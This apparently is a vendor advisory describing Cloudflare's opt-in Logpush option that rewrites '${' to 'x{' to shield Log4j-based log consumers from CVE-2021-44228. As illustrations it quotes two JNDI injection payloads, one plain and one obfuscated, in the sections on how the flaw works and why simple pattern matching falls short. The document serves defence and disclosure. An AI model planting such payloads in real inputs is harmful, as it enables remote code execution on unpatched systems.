Cloudflare adds Log4j exploit redaction to Logpush

Following the public disclosure of CVE-2021-44228 on December 9, 2021, Cloudflare deployed WAF rules to mitigate attempts to exploit the Apache Log4j utility. The company now recommends that customers also protect downstream systems that consume Cloudflare logs, since many log-processing pipelines rely on Log4j-based software.

Cloudflare reports seeing exploit patterns in customer logs up to 1,000 times per second. A new Logpush configuration option lets customers automatically redact tokens that could trigger the vulnerability. The setting is currently available only via the Logpush API, not the Cloudflare Dashboard.

How the vulnerability reaches log consumers

The Log4j flaw allows an attacker to embed a string such as ${jndi:ldap://example.com/a} in any log field. When an unpatched Log4j instance processes that string, it fetches and executes the referenced object over the network—potentially enabling remote code execution.

Cloudflare logs include many user-controlled string fields, such as User Agent and URL path. A malicious actor can deliver the payload to any downstream system that ingests those fields via a vulnerable Log4j version.

Why simple pattern matching is insufficient

Due to the expressiveness of the templating language, checking for a simple token like ${jndi:ldap is not enough. Attackers already use obfuscated variants, such as:

${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}

Redacting the ${ token is therefore the most comprehensive defense. However, that string appears legitimately in logs roughly 1,000 times per second, and a spot check shows most occurrences are not exploit attempts. Blind redaction would degrade logs for customers who legitimately need that token.

Opt-in redaction via Logpush

Customers can now update their Logpush jobs to replace every occurrence of ${ with x{. To enable this behavior, add the parameter CVE-2021-44228=true to the Logpush job options configuration.

Instructions for updating logpull_options via the Logpush API are available in Cloudflare's developer documentation. This option is an immediate mitigation for customers using Log4j-based log consumers; it does not replace the need to patch vulnerable systems.